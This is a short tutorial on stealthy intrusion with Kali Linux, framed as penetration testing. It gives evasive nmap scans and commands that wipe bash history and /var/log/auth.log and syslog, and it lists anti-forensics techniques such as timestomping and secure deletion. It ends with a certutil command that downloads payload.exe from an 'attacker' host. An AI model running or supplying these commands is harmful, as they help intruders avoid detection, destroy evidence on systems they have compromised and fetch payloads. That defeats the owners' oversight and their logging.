Kali Linux Stealth Techniques — Hack Without Getting Detected

Stealth Hacking Techniques

A real penetration tester needs to be stealthy — simulating how actual attackers operate without triggering alarms.

Network Stealth

# Slow scan to avoid IDS
nmap -sS -T1 --max-rate 10 target

# Decoy scan (hide among fake IPs)
nmap -D RND:10 target

# Fragment packets to bypass firewalls
nmap -f --mtu 8 target

# Idle scan (use zombie host)
nmap -sI zombie_ip target

Cover Your Tracks

# Clear bash history
history -c && history -w
echo "" > ~/.bash_history

# Clear auth logs
echo "" > /var/log/auth.log
echo "" > /var/log/syslog

# Remove timestomping
touch -t 202301010000 /path/to/modified/file

Anti-Forensics Techniques

• Encryption: Encrypt all exfiltrated data
• Secure Delete: shred -vfz -n 5 file
• RAM-only Payloads: Never touch disk
• Timestomping: Modify file timestamps
• Log Rotation: Trigger log rotation to overwrite evidence

Living Off the Land

Use built-in OS tools instead of uploading hacking tools — PowerShell, certutil, wmic, curl. This avoids AV detection.

# Download file using certutil (no wget needed)
certutil -urlcache -split -f http://attacker/payload.exe payload.exe
